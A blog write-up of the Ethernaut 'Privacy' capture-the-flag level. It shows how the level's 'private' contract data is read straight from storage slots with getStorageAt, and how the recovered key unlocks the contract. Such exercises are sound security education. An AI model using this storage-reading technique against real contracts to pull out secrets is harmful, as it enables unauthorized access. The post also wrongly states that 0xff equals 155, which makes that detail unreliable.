# Ethernaut 11: Privacy

By [0xbanky](https://paragraph.com/@banky) · 2022-08-22

---

_Nothing stored on the blockchain is private_ …

My 11th Ethernaut challenge, Privacy

[https://ethernaut.openzeppelin.com/level/0x11343d543778213221516D004ED82C45C3c8788B](https://ethernaut.openzeppelin.com/level/0x11343d543778213221516D004ED82C45C3c8788B)

Investigation
=============

This challenge provides a contract which has been initialized with some data. The goal here is to discover what data has been stored. Here is the contract

    contract Privacy {
      bool public locked = true;
      uint256 public ID = block.timestamp;
      uint8 private flattening = 10;
      uint8 private denomination = 255;
      uint16 private awkwardness = uint16(now);
      bytes32[3] private data;
    
      constructor(bytes32[3] memory _data) public {
        data = _data;
      }
      
      function unlock(bytes16 _key) public {
        require(_key == bytes16(data[2]));
        locked = false;
      }
    }
    

Since the `data` variable has been marked as `private`, a getter function is not generated by the compiler. ie this will not work.

    await contract.data();
    

However, we can manually view the data stored at each storage slot using the `getStorageAt` from the `web3.eth` library.

Solution
========

The `getStorageAt` function takes two parameters, the contract address and the storage slot. I first created a helper function to wrap this.

    const storageAtIndex = async (index) => web3.eth.getStorageAt(contract.address, index, console.log)
    

The slot I am interested in here is the one that contains the third element in `data`. I went through each slot one by one to get a sense of how the solidity packing rules work.

    await storageAtIndex(0);
    // "0x0000000000000000000000000000000000000000000000000000000000000001"
    

This is the value of `locked` which is a simple boolean. No other data is fit into the first slot since the next element, `ID` is a `uint256`. `uint256` is 32 bytes long and thus takes up the entire next slot.

    await storageAtIndex(1);
    // "0x000000000000000000000000000000000000000000000000000000006302e9b9"
    web3.utils.toNumber("0x000000000000000000000000000000000000000000000000000000006302e9b9");
    // 1661135289
    

The ID field stores the block timestamp at the time the contract was constructed. Using the `toNumber` util, I convert this to an integer and it lines up to when the contract was deployed. Nice 👌

    await storageAtIndex(2);
    // "0x00000000000000000000000000000000000000000000000000000000e9b9ff0a"
    

With the way EVM variable packing works, `flattening` (`uint8`), `denomination`(`uint8`) and `awkwardness`(`uint16`) are all fit into storage slot 2. In addition to this, the data is packed in reverse order, ie. `flattening` is the last piece of data at this location. Moving backwards, we see that `flattening` is `0x0a` which corresponds to the integer value 10. `denomination` is `0xff` which corresponds to 155. Finally, awkwardness is represented by `e9b9`.

Now to the important part, `data`. Since `data` is a fixed size array, it is stored completely in sequential order from the starting slot position. ie. `data[0]` is at slot 3, `data[1]` is at slot 4, etc. The key is derived from `data[2]`. The value is then clamped to the first 16 bytes by casting to a `bytes16`. Thus I get the key as follows

    key32 = await storageAtIndex("5");
    key16 = key32.substring(0, key32.length - 32);
    await contract.unlock(key16);
    await contract.locked();
    // false
    

The contract is successfully unlocked

What I learned
==============

1.  The EVM does variable packing to reduce the footprint of storage. Sequential elements that can fit into 32 bytes are slotted together into the same location in storage
    
2.  Elements of fixed size arrays behave like normal storage slotting. Elements of dynamic sized arrays are a bit more complex where the array location is the `keccack(slotPosition)`
    
3.  The location of elements of a `mapping` can be found with the `keccack(slotPosition, mappingKey)`

---

*Originally published on [0xbanky](https://paragraph.com/@banky/ethernaut-11-privacy)*
